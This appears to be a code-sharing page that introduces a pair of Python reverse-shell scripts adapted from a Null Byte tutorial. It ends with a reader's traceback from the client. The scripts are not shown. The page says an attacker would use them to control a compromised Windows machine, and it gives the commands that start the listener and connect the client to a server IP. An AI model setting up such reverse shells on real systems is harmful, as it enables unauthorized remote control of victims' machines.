Via http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/ with some style changes (to use classes instead of globals).
Requirements:
- a client: a Windows machine with Python installed (tested on Server 2012; probably works on 7 and 8 too)
- a server: a Linux machine (might work elsewhere)
An attacker would use a pair of scripts like this to control a compromised Windows box from her command server. The idea is that you run revshell_server.py on the server in a terminal window (and just hang out as it listens for a connection). When the client executes revshell_client.py, a prompt will appear in the server console, awaiting commands.
Suppose your server IP address is 1.2.3.4
Execute on server:
$ python revshell_server.py
Execute on client:
C:\> python revshell_client.py 1.2.3.4
Hello, just tested with code. Once interrupted by keyboard, below is the error message displayed on client side. Anyway to eliminate the error at client side?
Traceback (most recent call last):
File "revshell_client.py", line 57, in
client.receive()
File "revshell_client.py", line 40, in receive
self.send(output)
File "revshell_client.py", line 44, in send
self.receive()
File "revshell_client.py", line 24, in receive
received = self.s.recv(1024)
socket.error: [Errno 10054] An existing connection was forcibly closed by the remote host